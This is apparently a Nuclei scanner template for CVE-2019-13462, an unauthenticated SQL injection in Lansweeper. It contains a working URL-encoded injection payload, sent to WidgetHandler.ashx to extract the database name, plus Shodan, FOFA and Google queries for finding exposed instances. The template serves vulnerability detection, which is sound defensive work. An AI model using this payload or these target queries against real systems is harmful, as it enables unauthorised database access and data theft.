id: CVE-2019-13462

info:
  name: Lansweeper Unauthenticated SQL Injection
  author: divya_mudgal
  severity: critical
  description: Lansweeper before 7.1.117.4 allows unauthenticated SQL injection.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Lansweeper system.
  remediation: |
    Apply the latest security patch or update provided by Lansweeper to fix the SQL Injection vulnerability.
  reference:
    - https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13462
    - https://www.nccgroup.trust/uk/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
    - https://www.lansweeper.com/forum/yaf_topics33_Announcements.aspx
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2019-13462
    cwe-id: CWE-89
    epss-score: 0.60423
    epss-percentile: 0.98176
    cpe: cpe:2.3:a:lansweeper:lansweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lansweeper
    product: lansweeper
    shodan-query: http.title:"lansweeper - login"
    fofa-query: title="lansweeper - login"
    google-query: intitle:"lansweeper - login"
  tags: cve,cve2019,sqli,lansweeper

http:
  - method: GET
    path:
      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "~lansweeperdb~"

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 500
# digest: 4a0a004730450220518a1e657b7e28d53c16b03730ed34dba4fbf6e44a6a642013e5c407ac34b56b0221009054b1aa25551d4cc9d5e333e8a7533b9b3640f2877a9677d7e7a519eeafb44d:922c64590222798bb761d5b6d8e72950